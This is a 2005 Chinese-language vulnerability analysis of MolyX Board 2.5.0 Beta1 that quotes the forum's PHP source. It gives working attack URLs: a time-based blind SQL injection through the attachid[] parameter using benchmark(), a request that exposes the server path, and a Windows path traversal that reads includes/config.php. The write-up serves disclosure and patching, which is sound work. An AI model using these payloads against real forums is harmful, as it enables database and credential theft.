MolyX 漏洞分析
本文作者：SuperHei
文章性质：原创
发布日期：2005-10-18

废话

　　MolyX Board（以下简称MXB）是 MolyX Studios 小组（好象就是CNVBB小组）开发的PHP论坛程序，MXB 融合了众多论坛程序的优点，博采众长，功能强大。多年的论坛程序汉化和改进经验也使 MXB 更适合国人的使用习惯。不过漏洞是难免的。

测试版本

MolyX BOARD 2.5.0 Beta1

1、usercp.php漏洞

　　当删除附件时变量attachid[]过滤不言，导致暴露绝对路径和sql注射漏洞。分析如下：

　　代码行397---407

$affected_ids = count($_INPUT['attachid']);
if ( $affected_ids > 0 ) {
　　$attachments = $DB->query("SELECT a.*, p.threadid, p.pid
　　FROM ".TABLE_PREFIX."attachment a
　　LEFT JOIN ".TABLE_PREFIX."post p ON ( a.postid=p.pid )
　　WHERE a.attachmentid IN (".implode(",",$_INPUT['attachid']).")
　　AND a.userid='".$bbuserinfo['id']."'");
　　if ( $attachment = $DB->fetch_array($attachments) ) {
　　　　if ( $attachment['location'] ) {
　　　　　　@unlink( $bboptions['uploadfolder']."/".$attachment['attachpath']."/".$attachment['location'] );
　　　　}

　　我们看attachid[]经过了$_INPUT['attachid']提交到数据库查询，我们跟更$_INPUT[]，在global.php 行23：

$_INPUT = $forums->func->init_variable();

　　继续跟init_variable()，init_variable()在includes/functions.php代码如下：

function init_variable()
{
　　$return = array();
　　foreach(array($_GET,$_POST) AS $type) {
　　　　if( is_array($type) ) {
　　　　　　foreach ( $type AS $k => $v) {
　　　　　　　　if ( is_array($type[$k]) ) {
　　　　　　　　　　foreach ( $type[$k] AS $k1 => $v1) {
　　　　　　　　　　　　$return[ $this->clean_key($k) ][ $this->clean_key($k1) ] = $this->clean_value($v1);
　　　　　　　　　　}
　　　　　　　　} else {
　　　　　　　　　　$return[ $this->clean_key($k) ] = $this->clean_value($v);
　　　　　　　　}
　　　　　　}
　　　　}
　　}
　　return $return;
}

function clean_key($key)
{
　　if ($key == "") return "";
　　return preg_replace( array("/\.\./", "/\_\_(.+?)\_\_/", "/^([\w\.\-\_]+)$/"), array("", "", "$1"), $key );
}

function clean_value($val)
{
　　if ($val == "") return "";

　　$pregfind = array ( " ", "&", "<!--", "-->" );
　　$pregreplace = array ( " ", "&amp;", "<!--", "-->" );
　　$val = str_replace($pregfind, $pregreplace, $val);

　　$val = preg_replace( "/<script/i", "<script", $val );

　　$pregfind = array ( ">", "<", "\"", "!", "'" );
　　$pregreplace = array ( "&gt;", "&lt;", "&quot;", "!", "'" );
　　$val = str_replace($pregfind, $pregreplace, $val);

　　$pregfind = array ( "/\n/", "/\\\$/", "/\r/" );
　　$pregreplace = array ( "<br />", "$", "" );
　　$val = preg_replace($pregfind, $pregreplace, $val);

　　if ( $this->allow_unicode ) {
　　　　$val = preg_replace("/&amp;#([0-9]+);/s", "&#\\1;", $val );
　　}
　　if ( get_magic_quotes_gpc() ) {
　　　　$val = stripslashes($val);
　　}
　　return preg_replace( "/\\\(&amp;#|\?#)/", "\", $val );
}

　　过滤了& < > \ ' <script 等等字符。具体测试利用：

　　由于漏洞语句查询是没的什么数据输出，所以我们不可以用union 直接替换数据输出，又tnnd默认只有管理员才可以看论坛返回的mysql错误信息：db_mysql.php 行141-147代码

if ($bbuserinfo['usergroupid']==4) {
　　$this->error = @mysql_error($this->connection_id);
} else {
　　$the_error = '';
}
$message = "数据库出现错误: \n\n";
$message .= $the_error."\n\n";

　　 所以普通用户都没有错误信息返回，也就是1=1和1=2得到的页面一样，所以不可以用“经典注射”（特殊码比较）。
幸好我们还有benchmark()。

　　注意：不可以有& < >等，我们注射语句构如下：

http://127.0.0.1/xx/uploads/usercp.php?s=&do=attach&sort=&attachid[]=1) and if((ascii(substring(user(),1,1))=0x72)|0, benchmark(100000,md5(0x41)),0)/*

　　返回延时，那么我们就可以确定user()第一个字母hex值为0x72，也就是字母r。注意这个过程中只可以用=
来判断，因为< >都被过滤了。:)

　　当我们把$_INPUT['attachid']不当数组，当一般的变量提交时，变量不可以implode()而暴错，得到物理路径，提交：

http://127.0.0.1/xx/uploads/usercp.php?s=&do=attach&sort=&attachid

　　返回：

Warning: implode(): Bad arguments. in f:\www\www\xx\uploads\usercp.php on line 402

补丁

官方2005.09.20已经出了补丁(http://www.molyx.com/attachment.php?id=3097&u=2&extension=txt&attach=1127146647.attach&filename=UPDATE_20050920.txt&attachpath=2)，值得提下的是，改补丁同时补了2个漏洞，另外一个是由于private.php里$_INPUT['pmid']过滤不严导致的，该漏洞的利用和分析，跟上面的查不多，有兴趣的可以自己看看（ps：private.php漏洞不是我发现的，估计是官方看我的测试日志自己发现的）

2、attachment.php漏洞

影响系统

Windows

　　其实这是漏洞已经补过一次了的：http://4ngel.net/article/50.htm 但是angel在文章里患了个小错误，没有过滤“\”和“..”，导致在win主机上漏洞依旧，漏洞分析可以看angel的文章，漏洞利用：

http://www.xxx.com/attachment.php?id=684&u=3096&extension=gif&attach=.\..\..\..\..\..\..\includes\config.php&filename=1.gif

就可以得到includes/config.php里内容了

解决版本过滤.. / \

谢谢阅读！！！

 
【打印这篇文章】【关闭该窗口】
Copyright © 2004 Security Angel Team [S4T] All Rights Reserved.